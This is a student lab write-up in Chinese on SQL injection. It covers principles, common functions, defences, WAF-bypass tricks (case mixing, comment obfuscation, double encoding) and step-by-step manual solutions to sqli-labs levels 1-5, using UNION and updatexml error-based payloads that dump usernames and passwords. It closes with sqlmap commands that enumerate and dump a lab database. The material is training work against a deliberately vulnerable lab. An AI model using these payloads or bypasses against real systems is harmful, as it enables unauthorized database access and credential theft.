任务一、总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
1.SQL注入原理
攻击者通过将一些SQL语句插入到输入数据中,欺骗服务器执行这些恶意指令,从而读取、修改甚至删除数据库中的数据。向后台数据库提交时,没有对用户输入参数进行过滤。
产生的威胁
1.猜解后台数据库数据,盗取数据库中存储的敏感信息。
2.绕过认证,绕过验证登录网站后台。
3.注入可以借助数据库的存储过程进行提权等操作
基于错误的SQL注入:通过引发数据库错误来获得有用的信息。
联合查询注入:利用UNION SELECT合并查询结果并泄露数据。
盲注:当服务器不直接返回错误信息时,通过布尔条件或时间延迟来推测数据。
时间盲注:通过引入延时函数判断注入是否成功。
2. SQL注入常用函数及含义
UNION:用于将两个SQL查询的结果集合并,常用于提取多个表的数据。
SELECT:查询数据表中的信息。
ORDER BY 对查询数据进行排序的方法
SLEEP(x):常用于时间盲注,通过引入延时来推断注入是否成功。
GROUP_CONCAT():用于拼接多个字段或字符串。
SUBSTRING():提取字符串的一部分,常用于逐字符提取数据。
INFORMATION_SCHEMA:该模式用于获取数据库结构信息,如表名、列名等。
3. SQL注入防御手段
预编译语句:将SQL语句与用户输入分离,避免拼接。
输入验证:对用户输入的内容进行严格的合法性检查,如使用白名单验证。
输出编码:将特殊字符进行转义或编码,防止SQL注入。
最小权限原则:限制数据库用户的权限,确保即使发生注入,影响也被最小化。
WAF:使用Web应用防火墙检测和阻止常见的SQL注入攻击。
4. SQL注入常用绕过waf的方法
大小写:通过改变关键字的大小写(如selectàSeLeCt)来绕过WAF规则。
注释符混淆:使用注释符或空格来混淆SQL语句,如SELECT/**/FROM。
字符编码:利用不同字符编码(如Unicode)绕过检测。
使用括号绕过:通过插入多余的括号绕过规则,如SELECT( column )。
二次编码(Double Encoding):比如URL和ASCII
任务二、sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
Less1
?id=1’破坏数据库语句存在注入,发现是单引号闭合,是字符型输入
?id=1’order by 3 --+表格列数有三列
?id=-1'union select 1,2,3--+页面显示的是第二列和第三列的内容,有这两个注入点
?id=-1'union select 1,database(),3--+显示一下当前数据库名
利用数据库系统表?id=-1'union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema='security'--+获得数据库表名,这个数据库有4张表
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+我们查找users表中的列名,发现有这么长一串还有重复列名。
经过查找
1、information_schema是mysql自带的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。
2、columns是information_schema数据库中的一个表,表中储存了数据库的列名以及各个数据库中的表名等信息,可以根据数据库的库名查询到该数据库包含的表有哪些。
3、Eg. group_concat(table_name) from information_schema.tables where table_schema
='security'--+
从information_schema数据库中的tables表中查找数据库security所含有的表有哪些
1,2,group_concat(column_name) from information_schema.columns where table_name ='users',
从information_schema数据库中的columns表中查找users表所含有的列有哪些
但是
此处columns表包含了所有的列,但我们只需要security数据库users表中的列
4、附加信息:在information_schema数据库中还可以利用的表:
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
?id=-1' union select 1,2,group_concat(concat_ws(':',username ,id , password)) from users--+
Less2
?id=1’破坏数据库语句存在注入,发现是双引号闭合,数字型注入
?id =1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
?id=-1 union select 1,2,group_concat(concat_ws(':',username ,id , password)) from users
第二关步骤除了开头,其他同第一关
Less3
?id=2’时如下,单引号字符型,还有)所以我们输入语句时要闭合单引号和括号
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security‘ and table_name='users'--+
?id=-1') union select 1,2,group_concat(concat_ws(':',username ,id , password)) from users--+
Less4
用前几关出现过都没有报错,但输入”报错,所以是双引号字符型,还有括号
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
Less5
分别输入?id=1/1’/1”如以下所示,单引号闭合字符型
有三个字段
尝试报错注入
?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+
任务三、总结SQLi的手工注入的步骤
1.判断是否存在注入点
一般在登录/注册/留言/查询某日信息
2.判断sql语句形式是字符还是数字还有字段数量
?id=1’数字
?id=1’--+字符
在注入点后面添加语句【 order by int】,int的值可以是任意数字,但是一个数据表的字段数量通常不超过10,若传的int值小于等于字段数量则正常回显,若大于字段数量,则无法正常回显
3.判断字段前端回显位置
在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进行联合查询来暴露可查询的字段号,看哪些字段是可以返回给我们前端进行渲染的,不进行返回的字段我们无法利用
4.判断数据库信息
5.查找数据库名
Mysql 5 以上有内置库 information_schema存储着mysql的所有数据库和表结构信息 union select information_schema from information_schema.schemata
6.查找数据库表名
union select group_concat(table_name) from information_schema.tables where table_schema=database()--+
7.查找列名
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='biaoming'),3,4#
8.查数据
-1' union select 1,(select columnsname from tablename),3,4#
任务四、使用sqlmap通过或验证第六关
判断有没有注入
python sqlmap.py -u http://172.20.10.2//sqli-labs-master/Less-6/?id=1
查看所有数据库
python sqlmap.py -u http://172.20.10.2//sqli-labs-master/Less-6/?id=1 --dbs
查看数据表
python sqlmap.py -u http://172.20.10.2//sqli-labs-master/Less-6/?id=1 -D"security" --tables
查看列名
python sqlmap.py -u http://172.20.10.2//sqli-labs-master/Less-6/?id=1 -D"security" -T"users" --columns
查看数据
python sqlmap.py -u http://172.20.10.2//sqli-labs-master/Less-6/?id=1 -D"security" -T"users" -C"username,password" --dump